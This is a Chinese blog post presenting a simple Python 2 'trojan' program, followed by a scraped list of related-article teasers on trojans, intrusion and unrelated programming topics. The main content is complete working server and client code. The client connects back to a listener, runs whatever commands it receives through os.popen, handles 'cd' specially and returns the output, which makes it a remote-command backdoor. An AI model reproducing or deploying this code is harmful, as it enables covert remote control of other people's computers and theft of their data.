pyhton实现简单的木马程序
十一的晚上,平时都在写工作的代码,好久没有专门看一些知识了,感觉想刚开始学c一样,搞到半夜
还是《python网络编程基础》,写了小脚本,没有任何结构,一句一句的往下写的,反正是可以实现想法了
运行环境:python2
服务端
#!/usr/bin/env python
# -*- coding:utf-8 -*-
"""
木马程序服务端
""" from socket import * host = ''
port = 34567 # 创建socket
sock = socket(AF_INET,SOCK_STREAM)
# 设置端口回收
sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
# 绑定ip和端口
sock.bind((host,port)) # 设置连接数量
sock.listen(1) print u"服务器已经开启\n\r端口号:%s" %port while 1:
# 等待连接
clientsock,clientaddr = sock.accept()
print u"[%s:%d]上线..." %(clientaddr[0],clientaddr[1])
# 发送数据
clientsock.send("hello...") while 1:
# 接收客户端返回
buf = clientsock.recv(2048 * 4)
if not len(buf):
break
else :
print buf
while 1:
# 输入命令
cmd = raw_input(">")
if not len(cmd):
continue try:
# 发送命令
clientsock.send(cmd.encode())
except Exception as e:
continue break
客户端
#!/usr/bin/env python
# coding:utf-8 """
木马客户端
""" from socket import *
import os host = "127.0.0.1"
port = 34567 # 创建socket
sock = socket(AF_INET,SOCK_STREAM) try:
# 连接服务器
sock.connect((host,port))
except Exception as e:
print u"连接失败:%s" %e
exit() while 1:
# 接收命令
buf = sock.recv(1024)
filename = ''
# 对切换目录命令特殊处理
if buf[0:2] == 'cd':
buf = buf[3:]
os.chdir(buf)
cmd = os.popen('dir')
for str in cmd.readlines():
filename += str
else:
# 执行命令
cmd = os.popen(buf)
for str in cmd.readlines():
filename += str
if not filename:
filename = 'NO...' try:
# 将命令执行内容返回给服务器
sock.sendall(filename + "\r\n")
except Exception as e:
exit()
效果图

菜鸟献丑,大神指点
pyhton实现简单的木马程序的更多相关文章
- Atitit.病毒木马程序的感染 传播扩散 原理
Atitit.病毒木马程序的感染 传播扩散 原理 1. 从木马的发展史考虑,木马可以分为四代 1 2. 木马有两大类,远程控制 vs 自我复制传播1 3. 自我复制2 3.1. 需要知道当前cpu ...
- 一次Linux服务器被入侵和删除木马程序的经历
转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://wzlinux.blog.51cto.com/8021085/1740113 一.背景 晚上看到有台服 ...
- Python编写简易木马程序(转载乌云)
Python编写简易木马程序 light · 2015/01/26 10:07 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能 ...
- node.js学习(三)简单的node程序&&模块简单使用&&commonJS规范&&深入理解模块原理
一.一个简单的node程序 1.新建一个txt文件 2.修改后缀 修改之后会弹出这个,点击"是" 3.运行test.js 源文件 使用node.js运行之后的. 如果该路径下没有该 ...
- java基础学习02(简单的java程序)
简单的java程序 一.完成的目标 1. 理解java程序的基本组成 2. 如何对程序代码进行注释 3. java标识符的命名规则 4. 了解java中的关键字 5. 使用java定义变量或声明变量 ...
- Socket编程实践(3) 多连接服务器实现与简单P2P聊天程序例程
SO_REUSEADDR选项 在上一篇文章的最后我们贴出了一个简单的C/S通信的例程.在该例程序中,使用"Ctrl+c"结束通信后,服务器是无法立即重启的,如果尝试重启服务器,将被 ...
- Linux环境下部署完JDK后运行一个简单的Java程序
前言 前一篇文章详细讲解了如何在Windows环境下安装虚拟机+Linux系统,并且成功部署了JDK. 不过部署完JDK之后,我们判断部署是否成功的依据是看"java -version&qu ...
- 编写一个简单的C++程序
编写一个简单的C++程序 每个C++程序都包含一个或多个函数(function),其中一个必须命名为main.操作系统通过调用main来运行C++程序.下面是一个非常简单的main函数,它什么也不干, ...
- C#编写简单的聊天程序
这是一篇基于Socket进行网络编程的入门文章,我对于网络编程的学习并不够深入,这篇文章是对于自己知识的一个巩固,同时希望能为初学的朋友提供一点参考.文章大体分为四个部分:程序的分析与设计.C#网络编 ...
随机推荐
- leetcode-word break-ZZ
题目, 反正就是一个string,要不自己在字典里,要不切几刀,切出来的每个词都在字典里 ——————————————————————————————————————————————————————— ...
- 从传输流收到意外的 EOF 或 0 个字节
/// <summary> /// 发送POST请求 /// </summary> /// <param name="json"></pa ...
- 数据库聚焦与非聚焦索引 事务处理 redis innodb引擎(九)
1 数据库事务处理 一个数据库事务通常包含对数据库进行读或写的一个操作序列 . 当一个事务被提交给了DBMS(数据库管理系统),则DBMS需要确保该事务中的所有操作都成功完成且其结果被永久保存在数据库 ...
- HDU 3420 -- Bus Fair ACM
Bus Fair Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total S ...
- Jsonp实现Ajax跨域Demo
JSONP 1.一个众所周知的问题,Ajax直接请求普通文件存在跨域无权限访问的问题,甭管你是静态页面.动态网页.web服务.WCF,只要是跨域请求,一律不准: 2.不过我们又发现,Web页面上调用j ...
- 文本处理三剑客之 grep
grep简介 grep(Global search REgular expression and Print out the line)是Linux上的文本处理三剑客之一,另外两个是sed和awk. ...
- temp表空间被过多占用处理方法
这个步骤比较简单,查询v$sort_usage就可以了: (select username,session_addr,sql_id,contents,segtype,blocks*8/1024/102 ...
- zt 李鸿章听过《彩云追月》?
ZT 李鸿章听过<彩云追月>? 2013-05-11 09:35:52 编辑 删除 归档在 观世上之音 | 浏览 1041 次 | 评论 1 条 尝试在网上找一点有关<彩云追月> ...
- (fields.E130) DecimalFields must define a 'decimal_places' attribute.
DecimalField类型:固定精度的十进制数,一般用来存金额相关的数据.额外的参数包括DecimalField.max_digits(整个数字的长度)和DecimalField.decimal_p ...
- BZOJ2434:[NOI2011]阿狸的打字机(AC自动机,线段树)
Description 阿狸喜欢收藏各种稀奇古怪的东西,最近他淘到一台老式的打字机.打字机上只有28个按键,分别印有26个小写英文字母和'B'.'P'两个字母. 经阿狸研究发现,这个打字机是这样工作的 ...